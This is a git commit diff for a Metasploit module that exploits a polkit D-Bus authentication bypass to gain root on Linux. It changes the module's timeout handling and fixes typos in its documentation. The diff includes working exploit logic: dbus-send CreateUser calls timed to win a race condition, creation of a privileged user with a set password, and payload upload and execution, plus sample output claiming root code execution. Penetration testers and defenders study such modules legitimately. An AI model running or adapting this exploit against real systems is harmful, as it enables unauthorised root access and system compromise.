Update some typos in the documentation and also update the exploit module to handle various cases whereby the dbus-send command might end up timing out due to TIMEOUT being too low and to fix some final issues found during testing

This commit is contained in:
Grant Willcox 2021-07-08 15:38:35 -05:00
parent 9f88ef0954
commit 570ba091f6
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83
2 changed files with 23 additions and 19 deletions

View File

@ -8,7 +8,7 @@ launches an authentication agent. When run from a graphical session, an authenti
dialog box and waits for user input. This dialog box will cause the dbus-command to time out waiting for user input and
will prevent successful exploitation of polkit
If `systemd` is installed on the system the session service type can be checked by running: `loginctl session-status`.
If `systemd` is installed on the system the session service type can be checked by running: `loginctl session-status`.
The following output (x11) indicates a graphical session is being run and the exploit will not work:
`Service: gdm-password; type x11; class user`
@ -92,7 +92,7 @@ msf6 exploit(linux/local/polkit_dbus_auth_bypass) > run
[*] Attempting to create user msf
[+] User msf created with UID 1019
[*] Attempting to set the password of the newly create user, msf, to: NpJsQSti
[+] Obtained code execution has root!
[+] Obtained code execution as root!
[*] Writing '/tmp/vOWnn' (207 bytes) ...
[*] Sending stage (984904 bytes) to 192.168.123.146
[+] Deleted /tmp/vOWnn

View File

@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Local
register_options([
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 15]),
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 30]),
OptInt.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20])
])
register_advanced_options([
@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Local
time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"
time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)
unless time && time[1]
print_error("Unable to determine the time taken to run the dbus command. Without this information the exploit cannot continue. The command that failed was: #{time_command}")
print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")
return nil
end
@ -121,12 +121,17 @@ class MetasploitModule < Msf::Exploit::Local
# The dbus-send command timeout is implementation-defined, typically 25 seconds
# https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds
if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00
fail_with(Failure::UnexpectedReply, 'The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being x11 instead of SSH. Please see the module documentation for more information')
print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')
return nil
end
time_in_seconds / 2
end
def check
if datastore['TIMEOUT'] < 26
return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
end
unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
return CheckCode::Safe('The polkit framework is not installed.')
end
@ -368,6 +373,9 @@ class MetasploitModule < Msf::Exploit::Local
def exploit
fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
if datastore['TIMEOUT'] < 26
fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
end
if @cmd_delay.nil?
# cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
@ -375,28 +383,24 @@ class MetasploitModule < Msf::Exploit::Local
# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
@cmd_delay = get_cmd_delay
return Failure::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
end
print_status("Attempting to create user #{datastore['USERNAME']}")
loop_sequence = get_loop_sequence
if exploit_set_username(loop_sequence)
uid = cmd_exec("id -u #{datastore['USERNAME']}")
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
print_good('Obtained code execution as root!')
fname = upload_payload
execute_payload(fname)
else
print_error("Attempted setting the password #{datastore['Iterations']} times, did not work.")
end
fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)
uid = cmd_exec("id -u #{datastore['USERNAME']}")
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
print_good('Obtained code execution as root!')
fname = upload_payload
execute_payload(fname)
else
print_error("Attempted setting the password #{datastore['Iterations']} times, did not work.")
print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
end
print_status('Attempting to remove the user added: ')
if exploit_delete_user(uid, loop_sequence)
print_good("Successfully removed #{datastore['USERNAME']}")